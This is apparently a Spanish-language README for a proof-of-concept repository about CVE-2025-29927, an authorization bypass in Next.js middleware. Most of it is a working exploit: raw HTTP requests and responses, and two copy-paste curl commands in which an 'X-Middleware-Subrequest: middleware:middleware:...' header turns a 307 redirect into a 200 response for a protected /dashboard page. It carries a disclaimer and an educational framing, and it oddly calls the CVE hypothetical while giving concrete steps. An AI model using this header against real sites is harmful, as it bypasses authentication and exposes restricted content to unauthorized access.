
Omisión de autorización en Next.js Middleware
Este repositorio contiene una Prueba de Concepto (PoC) para CVE-2025-29927, una vulnerabilidad hipotética que demuestra una falla en el manejo de middleware dentro de una aplicación web. La PoC ilustra cómo una solicitud HTTP especialmente manipulada puede eludir la lógica de redirección para acceder a contenido restringido, como un panel de control. Este proyecto está diseñado únicamente con fines educativos y de investigación en seguridad.
Aviso legal: Esta PoC está destinada a usarse en entornos controlados con permiso explícito. Realizar pruebas no autorizadas contra sistemas que no poseas o para los cuales no tengas consentimiento es ilegal y poco ético.
Para seguir esta PoC, necesitarás:
abc.com) que ejecute una configuración vulnerable (software/versión específica por determinar según los detalles de la CVE).curl (curl.se), Burp Suite (portswigger.net/burp) o un script personalizado.CVE-2025-29927 (marcador de posición; reemplazar con los detalles oficiales de la CVE cuando estén disponibles) parece explotar una mala configuración del middleware o una falla lógica. La PoC demuestra que agregar una cabecera personalizada (X-Middleware-Subrequest) altera el comportamiento del servidor, eludiendo un mecanismo de redirección para acceder a contenido restringido. Esto probablemente se relaciona con cómo el middleware (por ejemplo, Nginx con Next.js) procesa sub-solicitudes o valida cabeceras.
Para obtener más información sobre vulnerabilidades de middleware, consulta Seguridad de Middleware de OWASP.
La PoC consta de dos pasos: una solicitud inicial sin éxito y una solicitud modificada exitosa. Cada paso incluye la solicitud HTTP, la respuesta y una explicación detallada.
Este paso demuestra el comportamiento predeterminado del servidor al acceder al endpoint /dashboard sin cabeceras adicionales.
GET /dashboard HTTP/1.1
Host: abc.com
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
HTTP/1.1 307 Temporary Redirect
Server: nginx/1.14.1
Date: Sun, 23 Mar 2025 22:02:08 GMT
Connection: keep-alive

GET /dashboard: Intenta acceder al endpoint del panel de control.User-Agent y Accept imitan una solicitud típica de navegador.307 Temporary Redirect: Indica que el servidor redirige al cliente, probablemente debido a lógica de autenticación, autorización o enrutamiento (por ejemplo, redirigiendo a una página de inicio de sesión).Server: nginx/1.14.1: Identifica el software del servidor web./dashboard. La ausencia de una cabecera Location en esta respuesta (posiblemente omitida por brevedad) implica que el destino de la redirección está en otro lugar.Este paso introduce una cabecera personalizada para eludir la redirección y recuperar con éxito el contenido del panel de control.
GET /dashboard HTTP/1.1
Host: abc.com
X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
HTTP/1.1 200 OK
Server: nginx/1.14.1
Date: Sun, 23 Mar 2025 22:04:04 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Accept-Encoding
X-Powered-By: Next.js
Cache-Control: private, no-cache, no-store, max-age=0, must-revalidate
Content-Length: 30174

X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware: Una cabecera personalizada agregada a la solicitud original. La cadena repetida middleware podría explotar una falla de análisis o validación en la pila de middleware.200 OK: Confirma el acceso exitoso al contenido del panel de control.Content-Type: text/html; charset=utf-8: Indica una respuesta HTML, probablemente la página del panel.X-Powered-By: Next.js: Sugiere que la aplicación utiliza Next.js, un framework de React que a menudo depende del middleware para el enrutamiento.Cache-Control: Evita el almacenamiento en caché, típico de contenido dinámico específico del usuario.Content-Length: 30174: Tamaño del cuerpo de la respuesta en bytes.X-Middleware-Subrequest probablemente engaña al middleware para que trate la solicitud como una sub-solicitud legítima, eludiendo la lógica de redirección. Esto podría indicar una vulnerabilidad en cómo se validan o procesan las sub-solicitudes.Sigue estos pasos para replicar la PoC usando curl:
curl -v "http://abc.com/dashboard" \
-H "Host: abc.com" \
-H "Accept-Language: en-US,en;q=0.9" \
-H "Upgrade-Insecure-Requests: 1" \
-H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" \
-H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7" \
-H "Accept-Encoding: gzip, deflate, br" \
-H "Connection: keep-alive"
Salida esperada: Una respuesta 307 Temporary Redirect.
curl -v "http://abc.com/dashboard" \
-H "Host: abc.com" \
-H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware" \
-H "Accept-Language: en-US,en;q=0.9" \
-H "Upgrade-Insecure-Requests: 1" \
-H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" \
-H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7" \
-H "Accept-Encoding: gzip, deflate, br" \
-H "Connection: keep-alive"
Salida esperada: Una respuesta 200 OK con el contenido del panel de control.
Nota: Reemplaza abc.com con el dominio objetivo real si realizas pruebas en un entorno autorizado.
curl en solicitudes HTTP.Este proyecto está licenciado bajo la Licencia MIT. Consulta el archivo LICENSE para obtener más detalles.